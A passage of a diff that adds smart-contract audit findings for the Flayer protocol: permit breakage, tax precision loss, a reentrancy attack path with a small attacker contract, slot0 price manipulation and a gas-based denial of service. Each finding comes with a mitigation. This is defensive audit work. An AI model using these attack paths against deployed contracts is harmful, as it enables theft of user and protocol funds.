+@@ -150,4 +150,8 @@ contract CollectionToken is ERC20PermitUpgradeable, ERC20VotesUpgradeable, Ownab
+ function _burn(address account, uint256 amount) internal override(ERC20Upgradeable, ERC20VotesUpgradeable) {
+ super._burn(account, amount);
+ }
++
++ function _EIP712Name() internal override(EIP712Upgradeable) view returns (string memory) {
++ return _name;
++ }
+ }
+```
\ No newline at end of file
diff --git a/021/006.md b/021/006.md
new file mode 100644
index 0000000..47fe8ab
--- /dev/null
+++ b/021/006.md
@@ -0,0 +1,118 @@
+Uneven Chocolate Starling
+
+High
+
+# Changing the name of CollectionToken will break the permit functionality
+
+### Summary
+
+In `CollectionToken.sol`, the contract offers ability for the owner to update the metadata by calling `setMetadata(...)` function. If the name of the token is update, it will break the permit functionality.
+
+The reason is, `CollectionToken.sol` derives from `ERC20PermitUpgradeable` contract and during initialisation, the name for the symbol is passed to ` __ERC20Permit_init(name_)` function which internally sets the storage value for EIP712 base contract.
+
+The signature related domain is build using `eip712Domain()` which relies on the value of the name during initialization. So the `CollectionToken.sol` changes the name to a different value, than the permit will revert due to mismatch.
+
+Hence the `permit(...)` function will stop working.
+
+
+
+### Root Cause
+
+`Locker::setCollectionTokenMetadata()` can update the name of the ERC20 token. This call is available to the owner of the locker. This will break the permit functionality as described below.
+
+Lets start with `CollectionToken.sol` contract that initialises the inheritance hierarchy. In the below code snippet, `__ERC20Permit_init(name_)` is the impacted function that handles the EIP712 specification.
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/CollectionToken.sol#L49-L62
+
+In the `__ERC20Permit_init(name_)` , it invokes `__EIP712_init_unchained(name, "1")` function of `EIP712Upgradeable` contract.
+
+```solidity
+ function __ERC20Permit_init(string memory name) internal onlyInitializing {
+ ==> __EIP712_init_unchained(name, "1");
+ }
+```
+In the below function, note how `name` is set for a discrete location for EIP712 storage.
+
+```solidity
+ function __EIP712_init_unchained(string memory name, string memory version) internal onlyInitializing {
+ EIP712Storage storage $ = _getEIP712Storage();
+ ==> $._name = name;
+ $._version = version;
+
+ // Reset prior values in storage if upgrading
+ $._hashedName = 0;
+ $._hashedVersion = 0;
+ }
+```
+
+This name is used while building the domain string for permit validation as below.
+
+```solidity
+ function eip712Domain()
+ public
+ view
+ virtual
+ returns (
+ bytes1 fields,
+ string memory name,
+ string memory version,
+ uint256 chainId,
+ address verifyingContract,
+ bytes32 salt,
+ uint256[] memory extensions
+ )
+ {
+ EIP712Storage storage $ = _getEIP712Storage();
+ // If the hashed name and version in storage are non-zero, the contract hasn't been properly initialized
+ // and the EIP712 domain is not reliable, as it will be missing name and version.
+ require($._hashedName == 0 && $._hashedVersion == 0, "EIP712: Uninitialized");
+
+ return (
+ hex"0f", // 01111
+ ==> _EIP712Name(),
+ _EIP712Version(),
+ block.chainid,
+ address(this),
+ bytes32(0),
+ new uint256[](0)
+ );
+ }
+
+ /**
+ * @dev The name parameter for the EIP712 domain.
+ *
+ * NOTE: This function reads from storage by default, but can be redefined to return a constant value if gas costs
+ * are a concern.
+ */
+ function _EIP712Name() internal view virtual returns (string memory) {
+ EIP712Storage storage $ = _getEIP712Storage();
+ ==> return $._name;
+ }
+```
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+1. Deploy the `CollectionToken` with a name, say `xToken`
+2. Post deployment, as owner of the token, call `setMetadata(...)` and set the name to `yToken`
+3. From this point onwards, transaction for this token with offline signature will start to revert.
+
+### Impact
+
+After the `setMetadata(...)` function call, updating the name of `CollectionToken` to a diffferent name from the time of initialization, the permit functionality will stop working of the `CollectionToken`.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Recommendation is to review of `setMetadata(...)` function is required. It is advised to remove this function if it can be removed.
+In the case it cannot be removed, the implementation for `setMetadata(...)` should update the name in all the places in the inheritance hierarchy so that every contract in the hierarchy has the new value reflected.
\ No newline at end of file
diff --git a/021/145.md b/021/145.md
new file mode 100644
index 0000000..3a587d1
--- /dev/null
+++ b/021/145.md
@@ -0,0 +1,36 @@
+Tricky Sable Bee
+
+Medium
+
+# Token name can be changed which will break domain separator dependent functionalities.
+
+## Summary
+
+Collection tokens hold the `setMetadata` function which allows token owner to change name. However, this is done without changing the token's domainSeparator, which will break the contract's permit functionality.
+
+## Vulnerability Detail
+
+In CollectionToken.sol, the token name and symbol can be updated. However, when this is done, the `name` that is used to calculate the eip712 `_domainSeparatorV4` is not updated making it different from the set during initialization. According to the EIP-712 in case if name, version or any other fields in the _DOMAIN_SEPARATOR is changed, then all previous signatures should not be valid anymore.
+
+```solidity
+ function setMetadata(string calldata name_, string calldata symbol_) public onlyOwner {
+ _name = name_;
+ _symbol = symbol_;
+
+ emit MetadataUpdated(_name, _symbol);
+ }
+```
+
+## Impact
+
+So as a result, permit transactions and vote delegation functionalities involving the domain separator will break since the domain seprators are now different.
+#### Code Snippet
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/CollectionToken.sol#L83-L88
+
+## Tool used
+Manual Code Review
+
+## Recommendation
+
+Recommend updating the domain separator after changing metadata
\ No newline at end of file
diff --git a/022/045.md b/022/045.md
new file mode 100644
index 0000000..54249f4
--- /dev/null
+++ b/022/045.md
@@ -0,0 +1,122 @@
+Lone Coconut Cat
+
+Medium
+
+# Fee Avoidance Due To Precision Loss About The Kink
+
+## Summary
+
+Users may avoid due tax when specifying a [`_floorMultiple`](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/TaxCalculator.sol#L35C53-L35C67) of `FLOOR_MULTIPLE_KINK + 1`.
+
+## Vulnerability Detail
+
+Due to truncation division, [`calculateTax`](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/TaxCalculator.sol#L35C14-L35C26) will incorrectly compute reduced tax for values specified slightly over the `FLOOR_MULTIPLE_KINK`:
+
+```solidity
+function calculateTax(address _collection, uint _floorMultiple, uint _duration) public pure returns (uint taxRequired_) {
+ // If we have a high floor multiplier, then we want to soften the increase
+ // after a set amount to promote grail listings.
+ if (_floorMultiple > FLOOR_MULTIPLE_KINK) {
+ _floorMultiple = FLOOR_MULTIPLE_KINK + ((_floorMultiple - FLOOR_MULTIPLE_KINK) / 2); /// @audit precision_loss
+ }
+
+ // Calculate the tax required per second
+ taxRequired_ = (_floorMultiple ** 2 * 1e12 * _duration) / 7 days;
+}
+```
+
+In `chisel`:
+
+```shell
+➜ calculateTax(address(0), 200, 7 days)
+Type: uint256
+├ Hex: 0x000000000000000000000000000000000000000000000000008e1bc9bf040000
+├ Hex (full word): 0x000000000000000000000000000000000000000000000000008e1bc9bf040000
+└ Decimal: 40000000000000000
+➜ calculateTax(address(0), 201, 7 days)
+Type: uint256
+├ Hex: 0x000000000000000000000000000000000000000000000000008e1bc9bf040000
+├ Hex (full word): 0x000000000000000000000000000000000000000000000000008e1bc9bf040000
+└ Decimal: 40000000000000000
+➜ calculateTax(address(0), 202, 7 days)
+Type: uint256
+├ Hex: 0x000000000000000000000000000000000000000000000000008f887ed5921000
+├ Hex (full word): 0x000000000000000000000000000000000000000000000000008f887ed5921000
+└ Decimal: 40401000000000000
+```
+
+Notice that when specifying a `_floorMultiple` of `201`, the user is taxed incorrectly:
+
+| **Floor Multiple** | **Tax** |
+|--------------------|---------------------|
+| `200` | `40000000000000000` |
+| `201` | `40000000000000000` |
+| `202` | `40401000000000000` |
+
+We would expect the user to have been taxed `40200500000000000` for this value instead.
+
+## Impact
+
+A protocol shortfall of ~0.5% for every listing placed at this amount.
+
+## Code Snippet
+
+```solidity
+function calculateTax(address _collection, uint _floorMultiple, uint _duration) public pure returns (uint taxRequired_) {
+ // If we have a high floor multiplier, then we want to soften the increase
+ // after a set amount to promote grail listings.
+ if (_floorMultiple > FLOOR_MULTIPLE_KINK) {
+ _floorMultiple = FLOOR_MULTIPLE_KINK + ((_floorMultiple - FLOOR_MULTIPLE_KINK) / 2);
+ }
+
+ // Calculate the tax required per second
+ taxRequired_ = (_floorMultiple ** 2 * 1e12 * _duration) / 7 days;
+}
+```
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/TaxCalculator.sol#L35C14-L35C26
+
+## Tool used
+
+Chisel
+
+## Recommendation
+
+Defer the calculation:
+
+```solidity
+function calculateTax(address _collection, uint _floorMultiple, uint _duration) public pure returns (uint taxRequired_) {
+ taxRequired_ = (_floorMultiple ** 2 * 1e12 * _duration);
+
+ // If we have a high floor multiplier, then we want to soften the increase
+ // after a set amount to promote grail listings.
+ uint256 kinkTaxRequired = (FLOOR_MULTIPLE_KINK ** 2 * 1e12 * _duration);
+ if (taxRequired_ > kinkTaxRequired)
+ taxRequired_ -= (taxRequired_ - kinkTaxRequired) / 2;
+
+ // Calculate the tax required per second
+ return taxRequired_ / 7 days;
+}
+```
+
+Again, in `chisel`:
+
+```shell
+➜ calculateTax(address(0), 200, 7 days)
+Type: uint256
+├ Hex: 0x000000000000000000000000000000000000000000000000008e1bc9bf040000
+├ Hex (full word): 0x000000000000000000000000000000000000000000000000008e1bc9bf040000
+└ Decimal: 40000000000000000
+➜ calculateTax(address(0), 201, 7 days)
+Type: uint256
+├ Hex: 0x000000000000000000000000000000000000000000000000008ed2244a4b0800
+├ Hex (full word): 0x000000000000000000000000000000000000000000000000008ed2244a4b0800
+└ Decimal: 40200500000000000
+➜ calculateTax(address(0), 202, 7 days)
+Type: uint256
+├ Hex: 0x000000000000000000000000000000000000000000000000008f8967aa372000
+├ Hex (full word): 0x000000000000000000000000000000000000000000000000008f8967aa372000
+└ Decimal: 40402000000000000
+```
+
+Notice that in addition to yielding the expected result, the protocol now accrues greater (correct) fees for all points after the kink.
\ No newline at end of file
diff --git a/022/081.md b/022/081.md
new file mode 100644
index 0000000..070da0a
--- /dev/null
+++ b/022/081.md
@@ -0,0 +1,47 @@
+Small Azure Poodle
+
+Medium
+
+# Precision Loss in Tax Calculation Due to Integer Division in `calculateTax` Function
+
+## Summary
+The `calculateTax` function in the `TaxCalculator` contract suffers from precision loss due to integer division when calculating the required tax. This can lead to underestimation of the tax amount, especially for listings with small `_floorMultiple` and `_duration values`.
+
+## Vulnerability Detail
+The function `calculateTax` performs an integer division by `7 days` (604800 seconds) which can result in significant precision loss. Solidity's integer division truncates the decimal portion, leading to potential underestimation of the tax.
+```solidity
+35: function calculateTax(address _collection, uint _floorMultiple, uint _duration) public pure returns (uint taxRequired_) {
+---
+38: if (_floorMultiple > FLOOR_MULTIPLE_KINK) {
+39: _floorMultiple = FLOOR_MULTIPLE_KINK + ((_floorMultiple - FLOOR_MULTIPLE_KINK) / 2);
+40: }
+41:
+---
+43:@=> taxRequired_ = (_floorMultiple ** 2 * 1e12 * _duration) / 7 days;
+44: }
+```
+
+## Impact
+The precision loss can lead to the calculated tax being lower than intended.
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/TaxCalculator.sol#L35-L44
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+Consider using a higher precision factor before performing the division.
+```diff
+function calculateTax(address _collection, uint _floorMultiple, uint _duration) public pure returns (uint taxRequired_) {
+ if (_floorMultiple > FLOOR_MULTIPLE_KINK) {
+ _floorMultiple = FLOOR_MULTIPLE_KINK + ((_floorMultiple - FLOOR_MULTIPLE_KINK) / 2);
+ }
+
+ // Increase precision by scaling the numerator
++ uint scaledNumerator = _floorMultiple ** 2 * 1e18 * _duration;
++ taxRequired_ = scaledNumerator / 7 days / 1e6; // Adjust the division to maintain precision
+- taxRequired_ = (_floorMultiple ** 2 * 1e12 * _duration) / 7 days;
+}
+```
\ No newline at end of file
diff --git a/022/336.md b/022/336.md
new file mode 100644
index 0000000..e5baf07
--- /dev/null
+++ b/022/336.md
@@ -0,0 +1,117 @@
+Crazy Chiffon Spider
+
+Medium
+
+# Precision loss occurs in taxCalculation after floorMultiplier kink that can lead to accrued losses for the Flayer protocol
+
+## Summary
+Precision loss occurs in `calculateTax()` in `TaxCalculator.sol` after the `floorMultiplier` is > `FLOOR_MULTIPLE_KINK `which could lead to accrued losses for the protocol.
+
+## Vulnerability Detail
+The main cause in [calculateTax()](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/TaxCalculator.sol#L35-L44) leading to this issue is the division by `2` which occurs in the following scenario:
+```solidity
+ if (_floorMultiple > FLOOR_MULTIPLE_KINK) {
+@>> _floorMultiple = FLOOR_MULTIPLE_KINK + ((_floorMultiple - FLOOR_MULTIPLE_KINK) / 2);
+ }
+```
+`FLOOR_MULTIPLE_KINK` is hardcoded to `200`. Replacing the values in the formula, we conclude that:
+`200 + ((202 - 200) / 2) = 201` will produce the same result as when the `floorMultiplier` is 203
+`200 + ((203 - 200) / 2) = 201`, since we round down.
+
+This is enough loss of precision to result in decent amount of loss.
+
+`TaxCalculator.calculateTax()` is used in `getListingTaxRequired()`, which is crucial as it defines the fees that will be taken out from the user when he creates a new liquid listing for his NFT.
+
+This incentivizes users to put odd numbers for their `floorMultiple`, as it would save them fees and provide them additional profit, as they could sell an NFT for a little higher price.
+```solidity
+ function getListingTaxRequired(Listing memory _listing, address _collection)
+ public view returns (uint taxRequired_) {
+@>> taxRequired_ = locker.taxCalculator().calculateTax(_collection, _listing.floorMultiple, _listing.duration);
+ taxRequired_ *= 10 ** locker.collectionToken(_collection).denomination();
+ }
+```
+
+Let's do an **estimation of losses**.
+Tax in `TaxCalculator.calculateTax()` is calculated as follows:
+```solidity
+ taxRequired_ = (_floorMultiple ** 2 * 1e12 * _duration) / 7 days;
+```
+The `_floorMultiple`, as previously discussed has the precision loss.
+
+For 10 days ~ 864000 seconds.
+With 202 vs 203 floor multiple scenario:
+
+`201 ** 2 1e12 * 864000 / 7 * 86400 = 57715714285714285`
+
+To conclude the loss we should compare the jump from `202` to `204` `floorMultiplier` and divide it by `2`, as we want the median:
+
+`floorMultiplier` is `204`, so `floorMultiple` is `202`
+`202 ** 2 1e12 * 864000 / 7 * 86400 = 58291428571428571`
+
+`(58291428571428571 - 57715714285714285) / 2 = 287857142857143`
+
+As a % of the total fee this is ~ `0.5%` or 6000$ for every $1.2M in fees.
+
+### Coded PoC
+Add to `Listings.t.sol` and use `forge test --match-test test_listingTax -vvv`
+```solidity
+ function test_listingTax() public {
+ //===========Setup===========
+ listings.setProtectedListings(address(protectedListings));
+ ICollectionToken token = locker.collectionToken(address(erc721a));
+ assertEq(token.denomination(), 0);
+
+ address _owner = address(0x77);
+ //===========Setup===========
+
+ Listings.Listing memory listing = IListings.Listing({
+ owner: payable(_owner),
+ created: uint40(block.timestamp),
+ duration: 50 days,
+ floorMultiple: 202
+ });
+
+ Listings.Listing memory listingOdd = IListings.Listing({
+ owner: payable(_owner),
+ created: uint40(block.timestamp),
+ duration: 50 days,
+ floorMultiple: 203
+ });
+
+ Listings.Listing memory listingNext = IListings.Listing({
+ owner: payable(_owner),
+ created: uint40(block.timestamp),
+ duration: 50 days,
+ floorMultiple: 204
+ });
+
+ // Save listing tax
+ uint listingTax = listings.getListingTaxRequired(listing, address(erc721a));
+ uint listingTaxOdd = listings.getListingTaxRequired(listingOdd, address(erc721a));
+
+ assertEq(listingTax, listingTaxOdd);
+
+ //===Calculate loss of fees for 50 days and 202/203/204 floor multiple===
+
+ //We use listingTaxNext to find the tax value between 202 and 204, then dividing it by 2 we can see how much tax is 1 unit of floorMultiple worth.
+ uint listingTaxNext = listings.getListingTaxRequired(listingNext, address(erc721a));
+ uint taxLost = (listingTaxNext - listingTax) / 2;
+
+ //Verify total tax fee:
+ assertEq(listingTaxNext, 291457142857142857);
+
+ //This would be our loss:
+ assertEq(taxLost, 1439285714285714);
+ // 1439285714285714 / 291457142857142857 = 0.0049318
+ // This means that we are losing ~ 0.5% of the tax fee.
+ }
+```
+## Impact
+This leads to loss of fees totaling to approximately ~ 0.5%.
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+Increase the precision of floorMultiplier by a factor of 2 decimals, this should be enough to reduce the fees to negligible amounts.
\ No newline at end of file
diff --git a/023.md b/023.md
new file mode 100644
index 0000000..e5b2df2
--- /dev/null
+++ b/023.md
@@ -0,0 +1,84 @@
+Striped Steel Beaver
+
+Medium
+
+# Missing Check in claimAirdrop Will Cause a Reentrancy Attack for Token Holders
+
+### Summary
+
+The missing application of the nonReentrant modifier in the claimAirdrop function will cause a complete loss of funds for token holders as an attacker will exploit reentrancy to claim multiple times before the state is updated.
+
+### Root Cause
+
+In AirdropRecipient.sol:116, the missing nonReentrant modifier allows for reentrancy attacks in the claimAirdrop function during token or native asset transfers.
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/AirdropRecipient.sol#L116
+
+### Internal pre-conditions
+
+1. Admin needs to distribute a merkle root via distributeAirdrop().
+2. Airdrop needs to be initiated by a user calling claimAirdrop().
+3. The isClaimed mapping for a particular merkle root and claim node must not be set to true.
+
+### External pre-conditions
+
+1. The attacker's wallet or contract must have some gas to perform the reentrancy attack.
+2. There must be at least one valid ERC20, ERC721, ERC1155, or native token airdrop claim available.
+
+### Attack Path
+
+1. The attacker calls claimAirdrop() with valid MerkleProof.
+2. During the transfer of tokens (ERC20, ERC721, ERC1155) or native tokens, the attacker calls into the contract again (reentrancy) before isClaimed[_merkle][_node] is set to true.
+3. The attacker repeatedly calls claimAirdrop() through recursive calls, draining the tokens or Ether from the contract until the available funds are exhausted.
+
+### Impact
+
+The token holders suffer a complete loss of airdrop funds. The attacker gains control over multiple claims that should have only been claimed once.
+
+### PoC
+```solidity
+
+// SPDX-License-Identifier: GPL-3.0-or-later
+pragma solidity >=0.8.0;
+
+import "forge-std/Test.sol";
+import "./AirdropRecipient.sol";
+
+contract AttackContract {
+ AirdropRecipient victim;
+ bytes32 merkle;
+ Enums.ClaimType claimType;
+ MerkleClaim node;
+ bytes32[] merkleProof;
+
+ constructor(AirdropRecipient _victim) {
+ victim = _victim;
+ }
+
+ fallback() external payable {
+ // Re-entrancy attack
+ victim.claimAirdrop(merkle, claimType, node, merkleProof);
+ }
+
+ function attack() public {
+ // Initial claim that triggers the re-entrancy
+ victim.claimAirdrop(merkle, claimType, node, merkleProof);
+ }
+}
+```
+`
+### Mitigation
+
+Apply the nonReentrant modifier to the claimAirdrop() function to prevent reentrancy. This will ensure that the claim is only processed once, regardless of any attempts to recursively call the function.
+
+
+```solidity
+function claimAirdrop(
+ bytes32 _merkle,
+ Enums.ClaimType _claimType,
+ MerkleClaim calldata _node,
+ bytes32[] calldata _merkleProof
+) public nonReentrant {
+ // existing code
+}
+```
diff --git a/023/066.md b/023/066.md
new file mode 100644
index 0000000..9699683
--- /dev/null
+++ b/023/066.md
@@ -0,0 +1,53 @@
+Shambolic Fuchsia Chicken
+
+High
+
+# Usage of price from slot0 in `UniswapImplementation.beforeSwap()` makes swap result easily manipulatable
+
+## Summary
+slot0 is extremely easy to manipulate
+## Vulnerability Detail
+[slot0](https://docs.uniswap.org/contracts/v3/reference/core/interfaces/pool/IUniswapV3PoolState#slot0) is the most recent data point and is therefore extremely easy to manipulate.
+
+`UniswapImplementation.beforeSwap()` uses `sqrtPriceX96` gotten from slot0 to calculate amount of desired token required at the current pool state to purchase the amount of token specified
+```solidity
+ // Get the current price for our pool
+ (uint160 sqrtPriceX96,,,) = poolManager.getSlot0(poolId);// @audit-issue this is easily manipulatable
+
+ // Since we have a positive amountSpecified, we can determine the maximum
+ // amount that we can transact from our pool fees. We do this by taking the
+ // max value of either the pool fees or the amount specified to swap for.
+ if (params.amountSpecified >= 0) {
+ uint amountSpecified = (uint(params.amountSpecified) > pendingPoolFees.amount1) ? pendingPoolFees.amount1 : uint(params.amountSpecified);
+
+ // Capture the amount of desired token required at the current pool state to
+ // purchase the amount of token speicified, capped by the pool fees available. We
+ // don't apply a fee for this as it benefits the ecosystem and essentially performs
+ // a free swap benefitting both parties.
+ (, ethIn, tokenOut, ) = SwapMath.computeSwapStep({
+ sqrtPriceCurrentX96: sqrtPriceX96,
+ sqrtPriceTargetX96: params.sqrtPriceLimitX96,
+ liquidity: poolManager.getLiquidity(poolId),
+ amountRemaining: int(amountSpecified),
+ feePips: 0
+ });
+
+ // Update our hook delta to reduce the upcoming swap amount to show that we have
+ // already spent some of the ETH and received some of the underlying ERC20.
+ beforeSwapDelta_ = toBeforeSwapDelta(-tokenOut.toInt128(), ethIn.toInt128());
+ }
+```
+
+This can be manipulated by an attacker
+## Impact
+swap result (i.e amount of desired token required at the current pool state to purchase the amount of token specified) can be manipulated in a way that is detrimental to users and the protocol
+
+[slot0](https://docs.uniswap.org/contracts/v3/reference/core/interfaces/pool/IUniswapV3PoolState#slot0) is the most recent data point and is extremely easy to manipulate.
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L508
+## Tool used
+
+Manual Review
+
+## Recommendation
+To make any calculation use a TWAP instead of slot0.
\ No newline at end of file
diff --git a/023/445.md b/023/445.md
new file mode 100644
index 0000000..8c2ac91
--- /dev/null
+++ b/023/445.md
@@ -0,0 +1,123 @@
+Flaky Taupe Platypus
+
+Medium
+
+# Vulnerability in beforeSwap Function Leading to Price Manipulation via sqrtPriceX96 Exploit.
+
+## Summary
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L490-L580
+
+there is an issue in [beforeSwap](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L490-L580) and the issue occurs from fetching sqrtPriceX96 value from `(uint160 sqrtPriceX96,,,) = poolManager.getSlot0(poolId);`.
+This makes the protocol vulnerable to price manipulation, potentially causing the protocol to perform trades at unfavorable prices and leading to a loss of funds.
+
+## Vulnerability Detail
+The beforeSwap function fetches the sqrtPriceX96 value using `poolManager.getSlot0(poolId)` to determine the current pool price.
+However, since this value reflects the most recent state of the pool, it can be easily manipulated by external actors.
+An attacker can influence this value through techniques like sandwich attack, artificially inflating
+or deflating the price.
+
+POC:
+```solidity
+function beforeSwap(address sender, PoolKey calldata key, IPoolManager.SwapParams memory params, bytes calldata hookData) public override onlyByPoolManager returns (bytes4 selector_, BeforeSwapDelta beforeSwapDelta_, uint24 swapFee_) {
+ PoolId poolId = key.toId();
+
+ // Ensure our dynamic fees are set to the correct amount and mark it with the override flag
+ swapFee_ = getFee(poolId, sender) | LPFeeLibrary.OVERRIDE_FEE_FLAG;
+
+ // Load our PoolFees as storage as we will manipulate them later if we trigger
+ ClaimableFees storage pendingPoolFees = _poolFees[poolId];
+ PoolParams memory poolParams = _poolParams[poolId];
+
+ // We want to check if our token0 is the eth equivalent, or if it has swapped to token1
+ bool trigger = poolParams.currencyFlipped ? !params.zeroForOne : params.zeroForOne;
+ if (trigger && pendingPoolFees.amount1 != 0) {
+ // Set up our internal logic variables
+ uint ethIn;
+ uint tokenOut;
+
+ // Get the current price for our pool
+@>>> (uint160 sqrtPriceX96,,,) = poolManager.getSlot0(poolId);
+
+ // Since we have a positive amountSpecified, we can determine the maximum
+ // amount that we can transact from our pool fees. We do this by taking the
+ // max value of either the pool fees or the amount specified to swap for.
+ if (params.amountSpecified >= 0) {
+ uint amountSpecified = (uint(params.amountSpecified) > pendingPoolFees.amount1) ? pendingPoolFees.amount1 : uint(params.amountSpecified);
+
+ // Capture the amount of desired token required at the current pool state to
+ // purchase the amount of token speicified, capped by the pool fees available. We
+ // don't apply a fee for this as it benefits the ecosystem and essentially performs
+ // a free swap benefitting both parties.
+ (, ethIn, tokenOut, ) = SwapMath.computeSwapStep({
+ sqrtPriceCurrentX96: sqrtPriceX96,
+ sqrtPriceTargetX96: params.sqrtPriceLimitX96,
+ liquidity: poolManager.getLiquidity(poolId),
+ amountRemaining: int(amountSpecified),
+ feePips: 0
+ });
+
+ // Update our hook delta to reduce the upcoming swap amount to show that we have
+ // already spent some of the ETH and received some of the underlying ERC20.
+ beforeSwapDelta_ = toBeforeSwapDelta(-tokenOut.toInt128(), ethIn.toInt128());
+ }
+ // As we have a negative amountSpecified, this means that we are spending any amount
+ // of token to get a specific amount of undesired token.
+ else {
+ (, ethIn, tokenOut, ) = SwapMath.computeSwapStep({
+ sqrtPriceCurrentX96: sqrtPriceX96,
+ sqrtPriceTargetX96: params.sqrtPriceLimitX96,
+ liquidity: poolManager.getLiquidity(poolId),
+ amountRemaining: int(pendingPoolFees.amount1),
+ feePips: 0
+ });
+
+ // If we cannot fulfill the full amount of the internal orderbook, then we want
+ // to avoid using any of it, as implementing proper support for exact input swaps
+ // is significantly difficult when we want to restrict them by the output token
+ // we have available.
+ if (tokenOut <= uint(-params.amountSpecified)) {
+ // Update our hook delta to reduce the upcoming swap amount to show that we have
+ // already spent some of the ETH and received some of the underlying ERC20.
+ // Specified = exact input (ETH)
+ // Unspecified = token1
+ beforeSwapDelta_ = toBeforeSwapDelta(ethIn.toInt128(), -tokenOut.toInt128());
+ } else {
+ ethIn = tokenOut = 0;
+ }
+ }
+
+ // Reduce the amount of fees that have been extracted from the pool and converted
+ // into ETH fees.
+ if (ethIn != 0 || tokenOut != 0) {
+ pendingPoolFees.amount0 += ethIn;
+ pendingPoolFees.amount1 -= tokenOut;
+
+ // Transfer the tokens to our PoolManager, which will later swap them to our user
+ if (poolParams.currencyFlipped) {
+ poolManager.take(key.currency1, address(this), ethIn);
+ _pushTokens(key.currency0, tokenOut);
+ } else {
+ poolManager.take(key.currency0, address(this), ethIn);
+ _pushTokens(key.currency1, tokenOut);
+ }
+
+ // Capture the swap cost that we captured from our drip
+ emit PoolFeesSwapped(poolParams.collection, params.zeroForOne, ethIn, tokenOut);
+ }
+ }
+
+ // Set our return selector
+ selector_ = IHooks.beforeSwap.selector;
+}
+```
+
+## Impact
+The calculation relies on the value of sqrtPriceX96, which can be manipulated through external transactions.
+An attacker can adjust this price using a sandwich attack, gaining an advantage in the swap process.
+
+
+## Recommendation
+
+Use TWAP to get the value of sqrtPriceX96.
+
diff --git a/023/447.md b/023/447.md
new file mode 100644
index 0000000..009354b
--- /dev/null
+++ b/023/447.md
@@ -0,0 +1,25 @@
+Jovial Frost Porcupine
+
+Medium
+
+# Usage of `slot0` is extremely easy to manipulate
+
+## Summary
+Usage of slot0 is extremely easy to manipulate
+## Vulnerability Detail
+ (uint160 sqrtPriceX96,,,) = poolManager.getSlot0(poolId);
+function _emitPoolStateUpdate(PoolId _poolId) internal {
+ (uint160 sqrtPriceX96, int24 tick, uint24 protocolFee, uint24 swapFee) = poolManager.getSlot0(_poolId);
+ emit PoolStateUpdated(_poolParams[_poolId].collection, sqrtPriceX96, tick, protocolFee, swapFee, poolManager.getLiquidity(_poolId));
+ }
+## Impact
+[slot0](https://docs.uniswap.org/contracts/v3/reference/core/interfaces/pool/IUniswapV3PoolState#slot0) is the most recent data point and is therefore extremely easy to manipulate.
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L849
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L508
+## Tool used
+
+Manual Review
+
+## Recommendation
+To make any calculation use a TWAP instead of slot0.
\ No newline at end of file
diff --git a/024.md b/024.md
new file mode 100644
index 0000000..3ac17c8
--- /dev/null
+++ b/024.md
@@ -0,0 +1,48 @@
+Striped Steel Beaver
+
+Medium
+
+# Incorrect Validation Logic in collectionLiquidationComplete() Will Cause False Liquidation Status for Token Holders
+
+### Summary
+
+The incorrect validation logic in collectionLiquidationComplete() will cause false liquidation status for token holders as the function does not correctly check ownership of NFTs in the Sudoswap pool.
+
+### Root Cause
+
+In CollectionShutdown.sol:461, the function checks for NFT ownership by comparing the pool's address, but it assumes Sudoswap pools will always transfer ownership of NFTs.
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L461
+
+### Internal pre-conditions
+
+1. The Sudoswap pool does not transfer ownership immediately.
+2. Admin calls claim() or voteAndClaim() based on the liquidation status.
+
+### External pre-conditions
+
+1. Sudoswap uses delayed or partial liquidation.
+2. Token holders rely on incorrect liquidation status to make claims.
+
+### Attack Path
+
+1. Admin calls execute() to create a Sudoswap pool.
+2. Some NFTs remain unsold or in a delayed transfer state, but collectionLiquidationComplete() incorrectly returns true.
+3. Token holders call claim() based on the incorrect liquidation status, causing premature ETH claims.
+
+### Impact
+
+The token holders suffer a false liquidation claim, receiving ETH before all NFTs are sold. The Sudoswap pool may still hold unsold NFTs, and further claims may fail.
+
+### PoC
+
+```solidity
+for (uint i; i < sweeperPoolTokenIdsLength; ++i) {
+ if (collection.ownerOf(params.sweeperPoolTokenIds[i]) == sweeperPool) {
+ return false; // Check may fail if NFTs are pending sale
+ }
+}
+```
+
+### Mitigation
+
+Implement a more accurate check for Sudoswap pool liquidation status by querying the Sudoswap pool contract directly for pending sales or transfers. This will ensure that claims are only allowed once all NFTs have been fully sold and ownership is transferred.
\ No newline at end of file
diff --git a/024/073.md b/024/073.md
new file mode 100644
index 0000000..221a2b3
--- /dev/null
+++ b/024/073.md
@@ -0,0 +1,119 @@
+Small Azure Poodle
+
+Medium
+
+# Excessive Gas Consumption in `createListings` Function Leading to Denial of Service
+
+## Summary
+The `createListings` function in the `ProtectedListings` contract is susceptible to excessive gas consumption when processing a large number of listings in a single transaction. This vulnerability can lead to transaction failures due to exceeding the block gas limit, resulting in a denial of service for users attempting to create multiple listings simultaneously.
+
